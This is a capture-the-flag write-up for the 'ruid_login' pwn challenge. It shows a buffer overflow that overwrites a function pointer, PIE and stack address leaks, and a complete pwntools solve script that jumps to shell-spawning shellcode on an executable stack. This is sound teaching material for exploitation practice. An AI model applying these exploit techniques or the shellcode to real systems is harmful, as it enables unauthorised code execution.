Skip to main content
  1. CTF Writeups/
  2. Scarlet CTF 2025/

ruid_login

·
pwn 460 pts 61 solves ret2stack
subzcuber
Author
subzcuber
i like to imagine i’m funny
Table of Contents

Author: mel

Take a look at this super l33t login system I made for my Computer Architecture class! Heh…my prof is gonna be so proud. He’s 100% gonna boost my GPA.

Surely this will be safe to push to prod. I’ll even do it for him!


Analysis
#

We are given the binary ruid_login. When run, it prompts us for a netID and then logs us in based on an RUID

❯ ./ruid_login
Welcome to Rutgers University!
Please enter your netID: mikumikuooeeoo
Accessing secure interface as netid 'mikumikuooeeoo'

[0] {RUID REDACTED} Professor
[1] {RUID REDACTED} Dean

Please enter your RUID:

Structs
#

We work heavily with users in this binary, analysing the setup_users() function we can reconstruct struct user

 ┌─< 0x000015b7      e98a000000     jmp 0x1646
┌──> 0x000015bc      8b45cc         mov eax, dword [var_34h]
╎│   0x000015bf      4898           cdqe
╎│   0x000015c1      488b4cc5d0     mov rcx, qword [rbp + rax*8 - 0x30]
╎│   0x000015c6      8b45cc         mov eax, dword [var_34h]
╎│   0x000015c9      4863d0         movsxd rdx, eax
╎│   0x000015cc      4889d0         mov rax, rdx
╎│   0x000015cf      4801c0         add rax, rax
╎│   0x000015d2      4801d0         add rax, rdx
╎│   0x000015d5      48c1e004       shl rax, 4
╎│   0x000015d9      488d15002b..   lea rdx, obj.users          ; 0x40e0
╎│   0x000015e0      4801d0         add rax, rdx
╎│   0x000015e3      4889ce         mov rsi, rcx                ; const char *src
╎│   0x000015e6      4889c7         mov rdi, rax                ; char *dest
╎│   0x000015e9      e852faffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
╎│   0x000015ee      e8ddfaffff     call sym.imp.rand           ; int rand(void)
╎│   0x000015f3      4863c8         movsxd rcx, eax
╎│   0x000015f6      8b45cc         mov eax, dword [var_34h]
╎│   0x000015f9      4863d0         movsxd rdx, eax
╎│   0x000015fc      4889d0         mov rax, rdx
╎│   0x000015ff      4801c0         add rax, rax
╎│   0x00001602      4801d0         add rax, rdx
╎│   0x00001605      48c1e004       shl rax, 4
╎│   0x00001609      4889c2         mov rdx, rax
╎│   0x0000160c      488d05f52a..   lea rax, [0x00004108]
╎│   0x00001613      48890c02       mov qword [rdx + rax], rcx
╎│   0x00001617      8b45cc         mov eax, dword [var_34h]
╎│   0x0000161a      4898           cdqe
╎│   0x0000161c      488b4cc5e0     mov rcx, qword [rbp + rax*8 - 0x20]
╎│   0x00001621      8b45cc         mov eax, dword [var_34h]
╎│   0x00001624      4863d0         movsxd rdx, eax
╎│   0x00001627      4889d0         mov rax, rdx
╎│   0x0000162a      4801c0         add rax, rax
╎│   0x0000162d      4801d0         add rax, rdx
╎│   0x00001630      48c1e004       shl rax, 4
╎│   0x00001634      4889c2         mov rdx, rax
╎│   0x00001637      488d05c22a..   lea rax, [0x00004100]
╎│   0x0000163e      48890c02       mov qword [rdx + rax], rcx
╎│   0x00001642      8345cc01       add dword [var_34h], 1
╎│   ; CODE XREF from sym.setup_users @ 0x15b7(x)
╎└─> 0x00001646      837dcc01       cmp dword [var_34h], 1
└──< 0x0000164a      0f8e6cffffff   jle 0x15bc

This is a loop from setup_users(). We can understand it by how it indices its elements

The stack frame is initialised as

+------------+   rbp - 0x10
| void* dean |   // function pointer to dean()
+------------+   rbp - 0x18
| void* prof |   // function pointer to prof()
+------------+   rbp - 0x20
| char* dean |   // char pointer to "Dean"
+------------+   rbp - 0x28
| char* prof |   // char pointer to "Professor"
+------------+   rbp - 0x30
  • In the first iteration of the loop rax = 0, which would give us our strcpy from rbp-0x30 to obj.users (0x40e0).
  • In the second iteration rax = 1, which gives a strcpy from rbp-0x28 to obj.users + (3*rax << 4) which would be obj.users + 48. This gives us insight into the size of our struct

In a similar fashion at 0x4108 we save the RUID which is an unseeded rand() call

>>> hex(0x4108 - 0x40e0)
'0x28'

Due to the lack of a seed we can get the exact values back with a simple C program calling rand() twice

And at 0x4100 we save the function pointer prof or dean

>>> hex(0x4100 - 0x40e0)
'0x20'

We can now reconstruct our struct users

1
2
3
4
5
struct users {
  char name[0x20];
  void *fp();
  long ruid;
};

Functions
#

What main() does it setup global structs for the two users (Professor and Dean) in setup_users(), then after inputting the netID it enters a loop where it logs you in based on your “RUID” and provides the function related to that user

  • Professor has a prof() function
  • Dean has a dean() function

Dean
#

dean() let’s you change a staff member’s name

Logging in as RUID 846930886..

Welcome, Dean!
Change a staff member's name!

[0] {RUID REDACTED} Professor
[1] {RUID REDACTED} Dean

Num: 0
New name: mad

Let’s look at the asm

mov edx, 0x29               ; ')' ; size_t nbyte
mov rsi, rax                ; void *buf
mov edi, 0                  ; int fildes
call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)

It reads 0x29 bytes into a buffer of size 0x20 bytes. We found our buffer overflow :P

Prof
#

Logging in as the professor let’s us change the cgpa of students, we are going to entirely ignore the students, this function is mostly useless to us however the value of the function pointer will be useful to us later.

Logging in as RUID 1804289383..

Welcome, Professor!
Change a student's GPA!
Students:
[0] Mel (NetID lois4444) 4.0
[1] ilyree (NetID webSUCKS1111) 2.5
[2] petrichor (NetID girlypop9182) 4.0
[3] boardbot (NetID kitty2003) 0.1
[4] Talon (NetID rivals6969) 0.0
[5] glqce (NetID proudrusecpresident1984) 1.0
Num:

Exploitation
#

❯ pwn checksec ruid_login
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

We notice the executable stack, and we remember the 0x40 byte netID buffer we inputted earlier. These signs points to a standard ret2shellcode

Shellcode
#

Using pwntools we can generate shellcode quite simply with shellcraft

def login():
    io.recvuntil(b"netID: ")
    io.sendline(flat(asm(shellcraft.sh())))

PIE Address
#

Once we insert our shellcode we need the addr of the netID buffer so that we can jump to it with our function pointer overwrite later. To leak stack addresses we would need to call some sort of print function, and to do that from libc we would need the PIE address since PIE is enabled.

Now to leak the PIE base, we can first leak the address of prof() then subtract the offset of prof() from it. To leak the address of prof() know list_ruids prints the name of each user, so if we remove the null terminator from the name of “Professor”, we could continue reading and see the function pointer bytes too

def leak_pie():
    # replaces name wiht cyclic(0x20)
    dean(None)
    io.recvuntil(cyclic(0x20))
    # fetch 6 bytes after the name for the leaked addr
    changed_line = io.recvn(6)
    pie_leak = u64(changed_line.ljust(8, b"\x00"))
    return pie_leak

Stack Addr
#

Once we have the pie base we can call puts@plt to get a stack address, then calculate the offset to our required netID bufferr

def leak_stack():
    dean(exe.plt['puts'])
    io.recvuntil(b"RUID: ")
    io.clean_and_log()
    io.sendline(prof_ruid)
    io.recvline()
    io.recvline()
    io.recvline()
    line = io.recvn(6)
    print(line)
    stack_leak = u64(line.ljust(8, b"\x00"))
    return stack_leak

To get the exact offset of this leaked address from our buffer, we need to do some creative gdb-ing

I added a pause() after my login, that would drop me in main() where I could check the value of rbp-0x50 (the addr of the buffer), then I could subtract from that the leaked stack addr to get the relative offset

# from gdb
gef➤  print $rbp - 0x50
$1 = (void *) 0x7ffc6005a490
# from pwntools (both for the same process)
[!] stack at 0x7ffc6005a2d0

giving us the offset 448

>>> 0x7ffc6005a490 - 0x7ffc6005a2d0
448

I now have everything needed for my solve script

solve.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# This exploit template was generated via: $ pwn template
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'ruid_login')

def start(argv=[], *a, **kw):
    return process(exe.path)

prof_ruid = b"1804289383"
dean_ruid = b"846930886"

shellcode = shellcraft.sh()
info(shellcode)
info(hexdump(asm(shellcode)))

io = start()

def login():
    io.recvuntil(b"netID: ")
    io.sendline(flat(asm(shellcode)))

def prof():
    io.recvuntil(b"RUID: ")
    io.sendline(prof_ruid)

def dean(function_pointer):
    if function_pointer != None:
        payload = flat({
            0x20: function_pointer
        })
    else:
        payload = cyclic(0x20)
    io.recvuntil(b"RUID: ")
    io.sendline(dean_ruid)
    io.recvlines(8)
    io.recvuntil(b"Num: ")
    io.sendline(b"0")
    io.recvuntil(b"name: ")
    io.send(payload)

def leak_pie():
    dean(None)
    io.recvuntil(cyclic(0x20))
    changed_line = io.recvn(6)
    pie_leak = u64(changed_line.ljust(8, b"\x00"))
    return pie_leak

def leak_stack():
    dean(exe.plt['puts'])
    io.recvuntil(b"RUID: ")
    io.clean_and_log()
    io.sendline(prof_ruid)
    io.recvline()
    io.recvline()
    io.recvline()
    line = io.recvn(6)
    print(line)
    stack_leak = u64(line.ljust(8, b"\x00"))
    return stack_leak

# enter shellcode in netID
login()
# leak pie addr
pie_leak = leak_pie()
exe.address = pie_leak - exe.sym['prof']
pie_base = pie_leak - exe.sym['prof']
info(f"sym.prof at {hex(pie_leak)}")
warn(f"pie_base at {hex(pie_base)}")
# leak stack addr
stack_leak = leak_stack()
warn(f"stack at {hex(stack_leak)}")
# jump to shellcode
dean(stack_leak + 448)               
prof()
# pwned :)
io.interactive()
RUSEC{w0w_th4ts_such_a_l0ng_net1D_w4it_w4it_wh4ts_g0ing_0n_uh_0h}
Reply by Email

Related

Mooneys Bookstore
pwn 301 pts rop pwntools ret2win
rop with minimal protection
Intro Pwn
pwn 100pts 181 solves rust rop bof
Biscuits
pwn 50pt 192 solves pwntools
im hungry